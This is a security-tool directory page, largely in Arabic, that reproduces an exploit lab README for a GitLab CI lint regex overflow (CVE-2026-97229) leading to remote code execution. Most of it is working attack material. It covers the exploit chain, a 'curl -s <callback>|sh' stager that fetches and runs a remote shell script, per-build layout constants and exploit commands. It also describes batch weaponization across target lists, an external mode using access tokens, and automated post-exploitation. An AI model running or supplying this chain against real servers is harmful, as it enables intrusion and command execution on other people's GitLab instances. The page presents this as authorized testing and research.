Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-97229-lab — CVE-2026-97229 تجاوز سعة عدد صحيح في تعبير regex في GitLab CI lint يؤدي إلى تنفيذ تعليمات برمجية عن بُعد — إعادة إنتاج مصفوفة إصدارات InstaBox وهندسة عكسية لأداة libruby gadget | Kitploit
أدوات/GitHubGitHub/gandli/cve-2026-97229-lab
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقتحليل الملفات الثنائيةالتعلم والتعليمأداة الوصول عن بعدمختبرات وتدريب عملي
GitHub
2منذ 17 أياملم تتم المراجعة بعد
gandli/cve-2026-97229-lab

cve-2026-97229-lab

CVE-2026-97229 تجاوز سعة عدد صحيح في تعبير regex في GitLab CI lint يؤدي إلى تنفيذ تعليمات برمجية عن بُعد — إعادة إنتاج مصفوفة إصدارات InstaBox وهندسة عكسية لأداة libruby gadget

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — كتابة خارج الحدود (OOB write) في regex الخاص بـ GitLab CI lint ← تنفيذ تعليمات عن بُعد (RCE)

للاختبار المصرّح به فقط. استخدم هذا ضد الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها (نطاق bug-bounty، ارتباط مع عميل، مختبرك الخاص). الاستخدام غير المصرّح به غير قانوني.

English | 中文

طلب CI-lint غير مُصادَق عليه يُفسد مُطابِق Onigmo ويُعيد توجيه التنفيذ إلى أداة system() داخل libruby.so:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

الطلب الأخير غير مُصادَق عليه، لكن زرع إعداد CI الخبيث يتطلب صلاحية كتابة على مشروع عام (أو نسخة تسمح بالتسجيل الذاتي والمشاريع العامة).


نظرة سريعة

العنصرالقيمة
المتأثر (المُختبَر)19.2.0–19.2.7، 19.3.0–19.3.3، 19.4.0–19.4.1
غير قابل للاستغلال19.2.8، 19.3.4 (شاذ، انظر أدناه)، 19.3.5، 19.4.2؛ 19.2.3 لا يملك صورة CE
المُحفِّزGET /api/v4/projects/:id/ci/lint غير مُصادَق عليه
المتطلبات المسبقةإمكانية الوصول + صلاحية كتابة على مشروع عام (رمز مميز، حساب مخترق، أو تسجيل مفتوح)
التأثيرتنفيذ أوامر بصلاحية git (uid 998) داخل حاوية GitLab
قيود PoCإصدارات x86_64؛ التخطيط مرتبط ببناء libruby.so المحدد، وليس بسلسلة الإصدار
حدود الاستشارة19.2.x < 19.2.8، 19.3.x < 19.3.5، 19.4.x < 19.4.2

يُدرَج 19.3.4 كمتأثر في الاستشارة، لكن libruby.so المضمّن فيه لا يدخل أبدًا في مسار التوسيع الثغرة — لم نتمكن من تسليحه (repro/evidence/2026-10-18-full-matrix/).


البدء السريع (مختبر)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

لا يوجد حساب سحابي ولا SSH: المختبر عبارة عن Docker عادي (الخادم المحلي، DOCKER_HOST، أو سياق docker). على Docker Desktop أضف --callback-host host.docker.internal.


كيف يعمل

  1. ينشئ المشغّل مشروعًا عامًا ويدفع فرعًا يحتوي على include.rules.exists.regexp مُصمَّم بالإضافة إلى مسار مستودع بطول 110 بايت.
  2. يقوم طلب lint غير المُصادَق بتجميع ذلك النمط؛ تُكتب التكرارات البالغة 57 805 على هيئة {5(?#)7805} بحيث لا يراها حارس التكرار على جانب Rails (REPEAT_MAX=1000).
  3. على الإصدارات المصابة، يُجسِّد المطابق التوسعة (~2 GiB)؛ وتلتفّ حسابات الحجم وتُفسِد الكتابة الذاكرة المجاورة.
  4. يوفّر المسار المُصمَّم تعليمة call وإزاحة system@plt، مما يعيد توجيه الآلة الافتراضية.
  5. أداة التمهيد هي curl -s <callback>|sh، مما يمنح صدفة بصلاحيات مستخدم خدمة git.

الجزء 1 — إعادة الإنتاج (المختبر)

1.1 بدء هدف

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

يقوم المشغّل بتطبيق إعدادات الذاكرة التي يحتاجها الاستغلال (sidekiq off، عامل Puma واحد، مخازن Postgres صغيرة، --memory 6.5g --shm-size 256m)، وينتظر واجهة المستخدم ويعيّن كلمة مرور الجذر. انظر lab/README.md / lab/README_CN.md.

1.2 الفحص

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
الحقلالمعنى
httpحالة GET /users/sign_in
versionإصدار GitLab المقروء من الحاوية (null بدون الوصول إلى الحاوية)
classتصنيف الاستشارة: affected / patched / not-listed / unknown
libruby_md5هوية البناء لـ libruby.so الخاصة بالحاوية الهدف
layoutfinish / gadget / step (فقط عندما يكون البناء معروفًا أو قابلًا للاستنتاج)
exploitableما إذا كان هناك تخطيط متاح؛ class=affected لا يعني ذلك
layout_sourcetable أو derived أو no-overflow-in-build

class: "unknown" تعني ببساطة أنه لم تتوفر معلومات عن الحاوية/الإصدار — بالنسبة لهدف يعتمد على URL فقط، لا تستطيع الأداة التصنيف أو استنتاج تخطيط. راجع "الأهداف الخارجية" أدناه.

1.3 الاستغلال

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

معيار النجاح: lint هو dropped(HTTPError) أو http(502) وoutput يبدأ بـ uid=998(git). يعني 200 مع valid:true أن البناء غير قابل للاستغلال.

1.4 مصفوفة الإصدارات

السطرقابل للاستغلالمُرقَّع / غير قابل للاستغلال
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; الإصدار 19.2.3 لا يملك صورة CE
19.3.x19.3.0–19.3.319.3.4 (المطابق لا يتوسع أبدًا)، 19.3.5
19.4.x19.4.0, 19.4.119.4.2

الأدلة لكل بناء: repro/evidence/2026-10-18-full-matrix/ (中文).


الجزء 2 — التسليح (الأهداف المصرح بها)

2.1 صيغ الأهداف

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container مطلوب لمسار الاستغلال الحالي (libruby/layout + rails runner)؛ layout هو تجاوز اختياري للبنيات التي لا تستطيع الأداة قراءتها.

2.2 خط أنابيب الدفعات

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

لكل هدف، بالترتيب: probe → exploit → عند نجاح RCE post-exploitation (exploit/post/collect.sh؛ تجاوزها باستخدام --post-command-file، وعطّلها باستخدام --no-post). يوقف --probe-only العمل بعد البصمة. رمز الخروج 0 إذا أعطى أي هدف RCE.

2.3 تحديد التخطيط

تحتاج الحمولة إلى ثلاثة ثوابت لكل بناء (finish، أداة system@plt، خطوة UTF-8). ترتيب التحديد:

  1. layout صريح (0x… 0x… 12345)؛
  2. جدول md5 المُتحقَّق منه (10 إصدارات مغطاة)؛
  3. الاشتقاق الفوري من libruby.so الخاص بالحاوية عبر exploit/layout.py.

تستخدم جميع عمليات البناء المعرّضة للثغرة المعروفة تخطيطين فقط: 0x486DA9/0x31EE29/1249885 و 0x4885A9/0x31E809/1256138.

2.4 الأهداف الخارجية (بدون Docker)

يحتاج --mode external إلى HTTP وPAT فقط (نطاق api): ينشئ مشروعًا عامًا عبر API، ويدفع باستخدام oauth2:<token>، ويطلق فحص lint غير المُصادَق، ويزيل المشروع بعد ذلك.

python3 exploit/cve97229.py --mode external --targets scope.csv \
  --token glpat-... --scope scope.txt --authorized \
  --callback-host 203.0.113.10 --callback-port 80
  • layout: GET /api/v4/version موثّق ← جدول الإصدار/md5؛ إصدار غير معروف ← كلا التخطيطين المرشحين (--force-unknown-version يتخطى فحص الإصدار)؛
  • credential: PAT بنطاق api يمكنه إنشاء مشروع عام؛ بدونه تُبلغ الأداة no-write-path ولا ترسل شيئًا؛
  • callback: قابل للوصول من الهدف وبحد أقصى 16 بايت (cb.example:80)؛ العناوين الأطول تُرفض قبل أي طلب؛
  • safety: --scope و--authorized إلزاميان للاستغلال؛ --dry-run يكتفي بالبصمة؛
  • cleanup: يُجدول المشروع ثم يُزال نهائيًا (تحقق باستخدام GET /api/v4/projects/:id)؛
  • Windows: المسار المصمم لا يلمس القرص أبدًا — يُجهّز عبر فهرس git.

الجزء 3 — ما بعد الاستغلال

تنزيل الأداة